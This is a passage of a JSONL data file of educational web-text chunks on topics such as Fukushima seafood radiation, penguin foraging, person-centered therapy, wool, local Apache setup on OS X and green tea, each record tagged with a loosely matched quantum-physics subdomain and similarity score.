nuclear energy face is the confinement of particles to magnetic fields. accelerators such as large hadron collider ( lhc ) of the european organisation for nuclear research ( cern ) also used magnetic fields to accelerate particles. in these conditions they do not escape to infinity, but they remain doing circles until they acquire the speed that the experiments need. other social book", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.6128128517822014, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.354003"} {"text": "oct. 25, 2012 japan ' s \" triple disaster, \" as it has become known, began on march 11, 2011, and remains unprecedented in its scope and complexity. to understand the lingering effects and potential public health implications of that chain of events, scientists are turning to a diverse and widespread sentinel in the world ' s ocean : fish. events on march 11 began with a magnitude 9. 0 earthquake, the fourth largest ever recorded. the earthquake in turn spawned a massive 40 - foot tsunami that inundated the northeast japanese coast and resulted in an estimated 20, 000 missing or dead. finally, the wave caused catastrophic damage to the fukushima dai - ichi nuclear power plant, resulting in the largest accidental release of radiation to the ocean in history, 80 percent of which ended up in the northwest pacific ocean. in a perspectives article appearing in october 26, 2012, issue of the journal science, whoi marine chemist ken buesseler analyzed data made publicly available by the japanese ministry of agriculture, forestry and fisheries ( maff ) on radiation levels in fish, shellfish and seaweed collected at ports and inland sites in and around fukushima prefecture. the picture he draws from the nearly 9, 000 samples describes the complex interplay between radionuclides released from fukushima and the marine environment. in it, buesseler shows that the vast majority of fish caught off the northeast coast of japan remain below limits for seafood consumption, even though the japanese government tightened those limits in april 2012. nevertheless, he also finds that the most highly contaminated fish continue to be caught off the coast of fukushima prefecture, as could be expected, and that demersal, or bottom - dwelling fish, consistently show the highest level of contamination by a radioactive isotope of cesium from the damaged nuclear power plant. he also points out that levels of contamination in almost all classifications of fish are not declining, although not all types of fish are showing the same levels, and some are not showing any appreciable contamination. as a result, buesseler concludes that there may be a continuing source of radionuclides into the ocean, either in the form of low - level leaks from the reactor site itself or contaminated sediment on the seafloor. in addition, the varying levels of contamination across fish types points to complex methods of uptake and release by different species, making the task of regulation and of communicating the reasons behind decision - making to the fish - hungry japanese public all the more difficult. \" to predict the how patterns of", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5266395272072535, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.356854"} {"text": "nov. 19, 2012 sound waves are commonly used in applications ranging from ultrasound imaging to hyperthermia therapy, in which high temperatures are induced, for example, in tumors to destroy them. in 2010, researchers at caltech led by chiara daraio, a professor of aeronautics and applied physics, developed a nonlinear acoustic lens that can focus high - amplitude pressure pulses into compact \" sound bullets. \" in that initial work, the scientists demonstrated how sound bullets form in solids. now, they have done themselves one better, creating a device that can form and control those bullets in water. the nonlinear acoustic lens is constructed from chains strung with stainless - steel spheres that are oriented parallel to one another - - and squeezed together - - to form an array. the gadget was inspired by newton ' s cradle, a popular toy that consists of a line of identical balls suspended by wires from a frame. when an end ball is pulled back and released, it slams into the next ball, causing the last ball in the line to fly outward. similarly, in the acoustic lens, striking one end of the array generates compact nonlinear pulses of sound - - solitary waves that propagate through the lens and can be tightly focused on a target area ; when they coalesce at this focal point, they produce a significantly amplified version : the sound bullet. these intense pressure waves may be used to obliterate tumors or kidney stones - - leaving surrounding tissues unharmed - - or probe objects like ship hulls or bridges for unseen defects. in the new work, the lens has been made more accurate, and a waterproof interface, which efficiently transmitted the pulses, was inserted between the chains and water. \" we use water as a target medium with the idea that the acoustic lens could be used for underwater imaging and / or biomedical applications, \" says postdoc carly donahue, who helped refine the device. \" currently, our work is fundamental in nature. we are focused on demonstrating proof of principle and establishing the technical strengths and weaknesses, which will inform the future design of engineering devices for specific applications, \" she adds. \" for example, using these systems in biomedical applications requires reducing their dimensions and learning about the related scaling effects. creating commercially viable devices will require the involvement of industrial partners. \" donahue discusses the technology and its potential applications in a talk at the aps division of fluid dynamics meeting, which will take place november 18 - 20, 2012 at the san diego convention center, located near the historic gaslamp district on the waterfront, in san", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.6029590127820472, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.360072"} {"text": "nov. 21, 2012 for the first time, researchers tracking the behavior of emperor penguins near the sea have identified the importance of sea ice for the penguins ' feeding habits. the research, published november 21 in the open access journal plos one by shinichi watanabe from fukuyama university, japan and colleagues, japan describes emperor penguin foraging behavior through the birds ' chick - rearing season. unlike other species like adelie penguins, emperor penguins spent much more time diving for food, and only used about 30 % of their time at sea to take short breaks to rest on sea ice. the birds did not travel for long distances on the ice, or use it for other activities. the study also suggests that these short rest periods on sea ice may help the penguins avoid predators such as leopard seals. though sea ice conditions are known to affect penguin populations, the relationship between ice levels and penguins ' foraging has been unclear because of the difficulties of tracking the birds at sea. watanabe says, \" the monitoring technique developed in this study will help to understand the relationship. \" other social bookmarking and sharing tools : the above story is reprinted from materials provided by public library of science. - shinichi watanabe, katsufumi sato, paul j. ponganis. activity time budget during foraging trips of emperor penguins. plos one, 2012 ; 7 ( 11 ) : e50357 doi : 10. 1371 / journal. pone. 0050357 note : if no author is given, the source is cited instead.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.46019698086863847, "token_count": 315, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.362480"} {"text": "self - esteem and valentine \u2019 s day : reflections of a community organizer self - esteem as a celebration of one \u2019 s value as a human being is a basic self - interest. self - interest is not a bad word as many sectors in society would like to make you and me believe. in community organizing, a basic guiding principle is : people act on the basis of self - interest. if people are affected by a problem, they get angry or they are worried. let \u2019 s say your home at the foot of a mountain is at a place where a landslide is waiting to happen. of course, you think of a way to prevent a landslide from happening or you stay away from the danger area. danger makes people afraid or angry, depending on what causes the danger. fear, anger or any other emotion that threatens one \u2019 s survival makes a person act. survival is a self - interest. a parallel thought to self - interest is loving oneself. then, loving oneself is a selfish emotion, you may argue. the concept of \u201c selfishness \u201d needs to be decoded from the negative judgments most of us have been conditioned to believe from childhood. loving oneself as a so - called act of selfishness is different from self - centeredness. self - centeredness makes the self so big at the expense of others. actually, self - centeredness is an aversion to loving oneself for the nature of love is to radiate \u2013 from inside the self to others. loving oneself is the principle on which loving others is founded if we believe that we are part of society and therefore should be capable of letting our love flow into society. loving oneself, in fact, is an inherent individual responsibility. to illustrate this thought, here \u2019 s an actual experience of a young community organizer whose idea of loving oneself was just not a practice of community workers. this particular community organizer just arrived from a mobilization with the community. the time was 4 : 00 pm. she said she was very hungry as she had not taken her lunch because of the so many things she needed to attend to. the trainer of the young community organizer asked : how do you think you can help people take care of themselves when you yourself cannot look after your own self - interest? the young community organizer sheepishly replied : \u201c i thought i would be affirmed for postponing my lunch. \u201d the trainer continued : \u201c don \u2019 t display an irresponsibility \u201d. community organizers, if they are indeed community organizers, will know how to relate their self - interest with the self", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.49424208689881055, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.367510"} {"text": "digital cinema encompasses every aspect of the movie making process, from production and post - production to distribution and projection. a digitally produced or digitally converted movie can be distributed to theaters via satellite, physical media, or fiber optic networks. the digitized movie is stored by a computer / server which \" serves \" it to a digital projector for each screening of the movie. projectors based on dlp cinema\u00ae technology are currently installed in over 1, 195 theaters in 30 countries worldwide - and remain the first and only commercially available digital cinema projectors. when you see a movie digitally, you see that movie the way its creators intended you to see it : with incredible clarity and detail. in a range of up to 35 trillion colors. and whether you ' re catching that movie on opening night or months after, it will always look its best, because digital movies are immune to the scratches, fading, pops and jitter that film is prone to with repeated screenings. main advantage of digital movies are that, expensive film rolls and postprocessing expenses could be done away. movie would be transmitted to computers in movie theatres, hence the movie could be released in a larger number of theatres. technology has already taken over much of the home entertainment market. it seems strange, then, that the vast majority of theatrical motion pictures are shot and distributed on celluloid film, just like they were more than a century ago. of course, the technology has improved over the years, but it ' s still based on the same basic principles. the reason is simple : up until recently, nothing could come close to the image quality of projected film. digital cinema is simply a new approach to making and showing movies. the basic idea is to use bits and bytes ( strings of 1s and 0s ) to record, transmit and replay images, rather than using chemicals on film. the main advantage of digital technology ( such as a hyperlink \" http : / / entertainment. howstuffworks. com / cd. htm \" cd ) is that it can store, transmit and retrieve a huge amount of information exactly as it was originally recorded. analog technology ( such as an audio tape ) loses information in transmission, and generally degrades with each viewing. digital information is also a lot more flexible than analog information. a computer can manipulate bytes of data very easily, but it can ' t do much with a streaming analog signal. it ' s a completely different language. cinema affects three major areas of movie - making : \" production - how the movie is actually", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5303289160848625, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.375185"} {"text": ". a computer can manipulate bytes of data very easily, but it can ' t do much with a streaming analog signal. it ' s a completely different language. cinema affects three major areas of movie - making : \" production - how the movie is actually made \" distribution - how the movie gets from the production company \" to movie theaters \" projection - how the theater presents the movie with an $ 800 consumer digital camcorder, a stack of tapes, a computer and some video - editing software, you could make a digital movie. but there are a couple of problems with this approach. first, your image resolution won ' t be that great on a big movie screen. second, your movie will look like news footage, not a normal theatrical film. onventional video has a completely different look from film, and just about anybody can tell the difference in film and video differ a lot in image clarity, depth of focus and color range, but the biggest contrast is frame rate. film cameras normally shoot at 24 frames per second, while most u. s. television video cameras shoot at 30 frames per second ( 29. 97 per second, to be exact ). you may also like this : indoor geolocation, wireless dsl, wireless microserver, user identification through keystroke biometrics, ultrasonic motor, virtual retinal display, spectrum pooling, signaling system, ultra conductors, self phasing antenna array, role of internet technology in future mobile data system, service aware intelligent ggsn, push technology, gmpls, fluorescent multi - layer disc, compact peripheral component interconnect ( cpci ), datalogger, wideband sigma delta pll modulator, voice morphing, visnav, speed detection of moving vehicle using speed cameras, optical switching, optical satellite communication, optical packet switching network, satrack, crusoe processor, radio frequency light sources, qos in cellular networks based on mpt, project oxygen, polymer memory, navbelt and guidicane, multisensor fusion and integration, moct, mobile virtual reality service, smart pixel arrays, adaptive blind noise suppression, an efficient algorithm for iris pattern, analog - digital hybrid modulation, artificial intelligence substation control, speech compression - a novel method, class - d amplifiers, digital audio ' s final frontier - class d amplifier, optical networking and dense wavelength division multiplexing, optical burst switching, bluetooth based smart sensor networks, laser communications, cordect, e - intelligence, white led,", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5240771436177546, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.376202"} {"text": "gas in the digestive tract - the esophagus, stomach, small intestine, and large intestine? comes from two sources : swallowed air : aerophagia, or air swallowing, is a common cause of gas in the stomach. everyone swallows small amounts of air when eating and drinking. however, eating or drinking rapidly, chewing gum, smoking, or wearing loose dentures can cause some people to take in more air. burping, or belching, is the way most swallowed air - which contains nitrogen, oxygen, and carbon dioxide - leaves the stomach. the remaining gas moves into the small intestine, where it is partially absorbed. a small amount travels into the large intestine for release through the rectum. the stomach also releases carbon dioxide when stomach acid mixes with the bicarbonate in digestive juices, but most of this gas is absorbed into the bloodstream and does not enter the large intestine. breakdown of undigested foods : the body does not digest and absorb some carbohydrates - the sugar, starches, and fiber found in many foods - in the small intestine because of a shortage or absence of certain enzymes that aid digestion. this undigested food then passes from the small intestine into the large intestine, where normal, harmless bacteria break it down, producing hydrogen, carbon dioxide, and, in about one - third of all people, methane. eventually, these gases exit through the rectum. people who make methane do not necessarily pass more gas or have unique symptoms. a person who produces methane will have stools that consistently float in water. research has not shown why some people produce methane and others do not. foods that produce gas in one person may not cause gas in another. some common bacteria in the large intestine can destroy the hydrogen that other bacteria produce. the balance between the two types of bacteria may explain why some people produce more gas than others do. this answer is based on source information from the national institute of diabetes and digestive and kidney diseases. gas in the digestive tract - the esophagus, stomach, small intestine, and large intestine? comes from two sources : swallowed air : aerophagia, or air swallowing, is a common cause of gas in the stomach. everyone swallows small amounts of air when eating... more dr. lawrence friedman answered : the air we breathe is made up mostly of nitrogen ( n2 ) and oxygen ( o2", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4230736953581845, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.381231"} {"text": "air swallowing, is a common cause of gas in the stomach. everyone swallows small amounts of air when eating... more dr. lawrence friedman answered : the air we breathe is made up mostly of nitrogen ( n2 ) and oxygen ( o2 ), the gas the human body needs to sustain life. after being swallowed, air enters the gastrointestinal ( gi ) tract. as it moves along, its makeup changes as oxygen passes into the blood and nitrogen is removed from the blood. another intestinal gas is carbon dioxide ( co2 ), a byproduct of a chemical reaction with acid in the stomach. hydrogen ( h2 ) is released in the colon when undigested carbohydrates undergo bacterial fermentation. bacteria in the gut produce foul - smelling gases when they ferment undigested foods that have not been absorbed in the small intestine. these foods consist mostly of carbohydrates, sugars, and fats. the carbohydrates found in high - fiber foods, such as beans, broccoli, cauliflower, and brussels sprouts, are the worst culprits. these foods release gases such as methane and hydrogen sulfide, which smells like rotten eggs. the worst odor is related to strong - smelling sulfurs that make up just 1 % of flatus ( gas that escapes from the rectum ). methane is detected in about one - third of adults. studies show that americans and europeans are more likely to produce methane than asians are, possibly because of diet. women also produce more than men do. genes may play a role in methane production, as the trait is passed along in families. additional carbon dioxide is produced in the colon as the byproduct of bacterial fermentation of unabsorbed sugars and starches. eating beans will substantially increase co2 production, as will taking sodium bicarbonate for heartburn. thus, it doesn ' t make sense to use bicarbonate - containing seltzers for gas. the air we breathe is made up mostly of nitrogen ( n2 ) and oxygen ( o2 ), the gas the human body needs to sustain life. after being swallowed, air enters the gastrointestinal ( gi ) tract. as it moves along, its makeup changes as oxygen passes into... more", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4326658669061904, "token_count": 480, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.382082"} {"text": "wool is comfortable to wear year - round because it ' s an absorbent fiber that helps regulate body temperature. ( when the air is cool and damp, wool absorbs moisture and keeps a layer of dry, insulating air next to the skin. conversely, when it ' s warm, that same absorption capacity takes up perspiration, making the body ' s natural cooling system work better. ) woolen garments are a great investment. since wool fibers resist pilling, snagging and breaking, woolen garments typically outlast synthetic sweaters. furthermore, since wool fibers are naturally elastic, woolen garments don ' t wrinkle, bag or sag out of shape. wool is a safe fabric - - it is the only fiber that naturally resists flaming. unlike most artificial fibers, which often melt and stick to the skin when on fire, wool usually only smolders or chars. although it will burn under intense fire, it normally self - extinguishes when the flame source is removed. many consumer safety experts advocate wearing woolen garments when flying. the u. s. sheep industry traditionally focuses on wool during the spring months. in fact, approximately 63 percent of american - produced wool is shorn during april, may and june. in 1999, the u. s. sheep industry produced approximately 46. 5 million lbs. of wool. american wool has many uses. in addition to its well - known uses in clothing, fabrics, yarn, felt and carpet, american wool is used to make insulation, rug pads, baseballs and tennis balls. some of the major wool processors in the united states include burlington, pendleton, forstmann and chargeurs. u. s. mills must purchase australian and new zealand wool in order to meet their wool needs. australia provides mostly finer wool, which is used in making apparel, while new zealand provides mostly coarser wool, which is used in making numerous industrial and home interior products. although the united states buys australian wool, it is not even in australia ' s top 10 destinations. china and hong kong are the largest wool buyers, regardless of where the wool is produced. together, the two countries annually purchase approximately 20 percent of the world ' s wool clip. italy is the second largest user of australian wool, purchasing approximately half as much as australia and new zealand combined. since the u. s. wool clip most closely resembles australian clip, u. s. wool prices most closely mirror australian wool prices. asia also plays a major role in determining the price of", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4594801857348436, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.384764"} {"text": "once upon a time there was a school situated in the middle of a very big city and surrounded by very busy roads. the children would often run out of school and start playing, not realising how dangerous it was to have a road so close by. there had already been accidents when children crossed the road without looking, or when they ran around near the traffic lights. to stop this happening again, a local traffic light thought to himself : \u201c why don \u2019 t i warn the children by shouting when cars are coming? or perhaps i should grab them by the backpack \u2026? \u201d he thought this would be a very good idea, so he told his friend the zebra crossing. but the zebra crossing said : \u201c if we do that, we will only cause children in a different neighbourhood to have an accident, because they will rely on us to save them. but we won \u2019 t be there! \u201d the traffic light thought this through, and realised that the zebra crossing was right. so they decided to do something different : \u201c from now on, every day we \u2019 ll explain to each child the dangers of crossing the road without looking, and we \u2019 ll use videos so they can see the dangers for themselves. \u201d once they understood that it had to be the children themselves who acted sensibly, they told all other traffic lights and pedestrian crossings, and then these told others and so on and so forth until all the traffic lights and pedestrian crossings in the city knew. and after three months, all the children in all the schools were very careful when they went out onto the street, and there was never an accident in the city again. the traffic light and the zebra crossing had made the children realise how dangerous roads can be, and they were delighted to have taught them to follow the basic rules of road safety.", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.48762903292434817, "token_count": 362, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.386527"} {"text": "person centered therapy by saul mcleod published 2008 humanistic therapies evolved in the usa in the 1950s. carl rogers proposed that therapy could be simpler, warmer and more optimistic than that carried out by behavioral or psychodynamic psychologists. his view differs sharply from the psychodynamic and behavioral approaches in that he suggested that clients would be better helped if they were encouraged to focus on their current subjective understanding rather than on some unconscious motive or someone else ' s interpretation of the situation. rogers strongly believed that in order for a client ' s condition to improve therapists should be warm, genuine and understanding. the starting point of the rogerian approach to counseling and psychotherapy is best stated by rogers ( 1986 ) himself. \" it is that the individual has within himself or herself vast resources for self - understanding, for altering his or her self - concept, attitudes and self - directed behavior - and that these resources can be tapped if only a definable climate of facilitative psychological attitudes can be provided. \" rogers rejected the deterministic nature of both psychoanalysis and behaviorism and maintained that we behave as we do because of the way we perceive our situation. \" as no one else can know how we perceive, we are the best experts on ourselves. \" ( gross, 1992 ) believing strongly that theory should come out of practice rather than the other way round, rogers developed his theory based on his work with emotionally troubled people and claimed that we have a remarkable capacity for self - healing and personal growth leading towards self - actualization. he placed emphasis on the person ' s current perception and how we live in the here - and - now. rogers noticed that people tend to describe their current experiences by referring to themselves in some way, for example, \" i don ' t understand what ' s happening \" or \" i feel different to how i used to feel \". central to rogers ' ( 1959 ) theory is the notion of self or self - concept. this is defined as \" the organized, consistent set of perceptions and beliefs about oneself \". it consists of all the ideas and values that characterize ' i ' and ' me ' and includes perception and valuing of ' what i am ' and ' what i can do '. self concept is a central component of our total experience and influences both our perception of the world and perception of oneself. for instance, a woman who perceives herself as strong may well behave with confidence and come to see her actions as actions performed by someone who is confident. the self - concept does not necessarily", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5512696587341885, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.393412"} {"text": "influences both our perception of the world and perception of oneself. for instance, a woman who perceives herself as strong may well behave with confidence and come to see her actions as actions performed by someone who is confident. the self - concept does not necessarily always fit with reality, though, and the way we see ourselves may differ greatly from how others see us. for example, a person might be very interesting to others and yet consider himself to be boring. he judges and evaluates this image he has of himself as a bore and this valuing will be reflected in his self - esteem. the confident woman may have a high self - esteem and the man who sees himself as a bore may have a low self - esteem, presuming that strength / confidence are highly valued and that being boring is not. person centered therapy note : person centered therapy is also called client centered therapy. one major difference between humanistic counselors and other therapists is that they refer to those in therapy as ' clients ', not ' patients '. this is because they see the therapist and client as equal partners rather than as an expert treating a patient. unlike other therapies the client is responsible for improving his or her life, not the therapist. this is a deliberate change from both psychoanalysis and behavioral therapies where the patient is diagnosed and treated by a doctor. instead, the client consciously and rationally decides for themselves what is wrong and what should be done about it. the therapist is more of a friend or counselor who listens and encourages on an equal level. one reason why rogers ( 1951 ) ejected interpretation was that he believed that, although symptoms did arise from past experience, it was more useful for the client to focus on the present and future than on the past. rather than just liberating clients from there past, as psychodynamic therapists aim to do, rogerians hope to help their clients to achieve personal growth and eventually to self - actualize. there is an almost total absence of techniques in rogerian psychotherapy due to the unique character of each counseling relationship. of utmost importance, however, is the quality of the relationship between client and therapist. \" the therapeutic relationship... is the critical variable, not what the therapist says or does. \" if there are any techniques they are listening, accepting, understanding and sharing, which seem more attitude - orientated than skills - orientated. in corey ' s ( 1991 ) view \" a preoccupation with using techniques is seen [ from the rogerian standpoint", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.593027470146422, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.394466"} {"text": "techniques they are listening, accepting, understanding and sharing, which seem more attitude - orientated than skills - orientated. in corey ' s ( 1991 ) view \" a preoccupation with using techniques is seen [ from the rogerian standpoint ] as depersonalizing the relationship. \" the rogerian client - centered approach puts emphasis on the person coming to form an appropriate understanding of their world and themselves. a person enters person centered therapy in a state of incongruence. it is the role of the therapists to reverse this situation. rogers ( 1959 ) called his therapeutic approach client - centered or person - centered therapy because of the focus on the person \u2019 s subjective view of the world. rogers regarded every one as a \u201c potentially competent individual \u201d who could benefit greatly from his form of therapy. the purpose of roger \u2019 s humanistic therapy is to increase a person \u2019 s feelings of self - worth, reduce the level of incongruence between the ideal and actual self, and help a person become more of a fully functioning person. client - centered therapy operates according to three basic principles that reflect the attitude of the therapist to the client : 1. the therapist is congruent with the client. 2. the therapist provides the client with unconditional positive regard. 3. the therapist shows empathetic understanding to the client. congruence in counseling congruence is also called genuineness. congruence is the most important attribute in counseling, according to rogers. this means that, unlike the psychodynamic therapist who generally maintains a ' blank screen ' and reveals little of their own personality in therapy, the rogerian is keen to allow the client to experience them as they really are. the therapist does not have a facade ( like psychoanalysis ), that is, the therapist ' s internal and external experiences are one in the same. in short, the therapist is authentic. unconditional positive regard the next rogerian core condition is unconditional positive regard. rogers believed that for people to grow and fulfill their potential it is important that they are valued as themselves. this refers to the therapist ' s deep and genuine caring for the client. the therapist may not approve of some of the client ' s actions but the therapist does approve of the client. in short, the therapist needs an attitude of \" i ' ll accept you as you are. \" the person - centered counselor is thus careful to always maintain a positive attitude to the client, even when disgusted by the client ' s actions. empathy is the", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.562203704401089, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.396633"} {"text": "short, the therapist needs an attitude of \" i ' ll accept you as you are. \" the person - centered counselor is thus careful to always maintain a positive attitude to the client, even when disgusted by the client ' s actions. empathy is the ability to understand what the client is feeling. this refers to the therapist ' s ability to understand sensitively and accurately [ but not sympathetically ] the client ' s experience and feelings in the here - and - now. an important part of the task of the person - centered counselor is to follow precisely what the client is feeling and to communicate to them that the therapist understands what they are feeling. in the words of rogers ( 1975 ), accurate empathic understanding is as follows : \" if i am truly open to the way life is experienced by another person... if i can take his or her world into mine, then i risk seeing life in his or her way... and of being changed myself, and we all resist change. since we all resist change, we tend to view the other person ' s world only in our terms, not in his or hers. then we analyze and evaluate it. we do not understand their world. but, when the therapist does understand how it truly feels to be in another person ' s world, without wanting or trying to analyze or judge it, then the therapist and the client can truly blossom and grow in that climate. \" because the person - centered counselor places so much emphasis on genuineness and on being led by the client, they do not place the same emphasis on boundaries of time and technique as would a psychodynamic therapist. if they judged it appropriate, a person - centered counselor might diverge considerably from orthodox counseling techniques. as mearns and thorne ( 1988 ) point out, we cannot understand person - centered counseling by its techniques alone. the person - centered counselor has a very positive and optimistic view of human nature. the philosophy that people are essentially good, and that ultimately the individual knows what is right for them, is the essential ingredient of successful person centered therapy as \u201c all about loving \u201d. mearns, p., & thorne, b. person - centred counselling in action ( counselling in action series ). london : sage publications ltd. rogers, carl. ( 1951 ). client - centered therapy : its current practice, implications and theory. london : constable. rogers, c. ( 1959 ). a theory of therapy, personality and interpersonal relationships as developed in the client - centered framework. in ( ed", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.47198292887963644, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.397654"} {"text": "in a previous article, we laid out the framework for using os x in web development. with more than 60 % of the world \u2019 s web servers running apache, having the same local, database - driven development environment can accelerate web development, design and testing. in this piece, we will tackle getting an os x systems configured for localhost web development. a default os x install includes the majority of what you will need to get a basic web server up and running. since we previously discussed the lamp, or linux, apache, mysql and perl / php, platform, this is the base configuration we will cover here. i \u2019 ll also include links at the end of this article to information on installing python, as this is a growing and popular language for web scripting, along with some notes on using cvs. your os x system is somewhat pre - configured to run a static website with apache pre - installed and pre - configured. the primary website document root, which would be accessed at http : / / 127. 0. 0. 1 ( or http : / / localhost ; which you use is up to you ) is found in the / library / webserver / documents /. you will find a number of index files in here, due to apache \u2019 s ability to negotiate content for localization, i. e. serving up the same page in different languages. you may remove these files if you will be focusing on one language. additionally, each user on os x can, by default, serve web pages from their home directory using their short name, i. e. http : / / 127. 0. 0. 1 / ~ shortname ( i. e. blane warrene uses the shortname bwarrene ). content for these local sites should go in the local user \u2019 s existing sites folder within their home directory ( / users / shortname / sites / ). to enable browsing of these sites, you will need to start the apache web server, which is simply done in the system preferences menu by selecting sharing and turning on personal web sharing. if you prefer to ftp your content locally, rather than copying the files into directories, you should also turn on ftp access within this preference pane. apache on os x tip as with apache on linux, additional modules or services can be added in, or apache can be recompiled. these actions normally require that you restart apache. you can return to the system preferences menu, select the sharing pane", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4191224176382058, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.401856"} {"text": "on os x tip as with apache on linux, additional modules or services can be added in, or apache can be recompiled. these actions normally require that you restart apache. you can return to the system preferences menu, select the sharing pane and simply stop and start personal web sharing to restart apache. if you require multiple local sites under development at once, you can easily establish a folder per project in the sites directory in your home folder. you can then access these for testing via browser using http : / / localhost / ~ shortname / project1, http : / / localhost / ~ shortname / project2, and so on. you can custom configure apache to use custom urls, such as http : / / project1, or http : / / project2, with a combination of edits to the httpd. conf ( found in / etc / httpd / httpd. conf ) and hosts files on your system, which can be found in / etc / hosts /. the rudimentary example below shows two sites. using vi or your favorite text editor, edit the httpd. conf file as follows : - uncomment the namevirtualhost line and replace the * with 127. 0. 0. 1 - add two virtual host containers : save and close the httpd. conf file. this will entail an apache restart, which is done in the system preferences menu under the sharing pane. finally, to ensure that we \u2019 re resolving locally, we will edit your local hosts file. using the terminal utility, issue the following command : sudo vi / etc / hosts after entering your admin password, press i for insert mode, move the cursor to the end of the file, and add these lines : then press the esc key, type : wq, and press return. your configuring is complete! you should be able to access these separate sites in your web browser at http : / / project1 and http : / / project2. remember to put some content in those directories when you first browse to them! some final notes on apache there are numerous features you can utilize to create a mirror test environment to your production apache web servers. take some time to peruse the httpd. conf file, which contains substantial documentation that can assist you in enabling features like server side includes. in addition, while we \u2019 re specifically discussing setting up os x as a localhost web", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.41717674863723103, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.402784"} {"text": "green tea, along with white, black, and oolong teas, are derived from the plant camellia sinensis. the chinese first discovered green tea 4, 000 to 5, 000 years ago. green tea includes flavonoids, which are plant - derived compounds that feature antioxidants. the antioxidants in green tea called catechins are stronger than vitamins c and e ; 30 % of the green tea leaves feature these polyphenols. of the four teas produced by this plant, green tea includes the most catechins, meaning it offers the most health benefits. green tea promises a range of health benefits that have been thoroughly researched for decades. green tea is capable of treating a number of health conditions. a wealth of research exists that credits green tea with helping to prevent cancer. clinical studies have indicated that green tea consumption may help reduce the risk of contracting the following cancers : bladder, breast, ovarian, colorectal, esophageal, lung, pancreatic, prostate, skin, and stomach. green tea polyphenols, including the tea \u2019 s main polyphenol epigallocatechin gallate, or egcg, have been shown to inhibit the growth of cancer cells in studies. while not all of these studies have been conducted on humans \u2014 some animals have been studied, while other studies focused on test tubes \u2014 there is significant promising research that green tea can be an effective prevention measure against cancer. the health benefits of green tea extend beyond cancer prevention, however. individuals diagnosed with inflammatory bowel disease, including crohn \u2019 s disease and ulcerative colitis, can experience symptom relief thanks to green tea. similarly, green tea may help prevent colon cancer. diabetics can benefit from green tea consumption, which can improve glucose tolerance. research conducted on laboratory animals also indicated that green tea can increase insulin sensitivity, another benefit for diabetics. green tea can also help to prevent atherosclerosis, more commonly known as hardening of the arteries. in part, green tea \u2019 s ability to combat coronary artery disease is due to its ability to lower cholesterol and raise hdl, or \u201c good, \u201d cholesterol. finally, evidence suggests that green tea can prove beneficial in the fight against neurodegenerative diseases, which are often difficult to treat. green tea \u2019 s antioxidants can help treat parkinson \u2019 s disease, and laboratory studies indicate that egcg in", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5047890204657386, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.406926"} {"text": 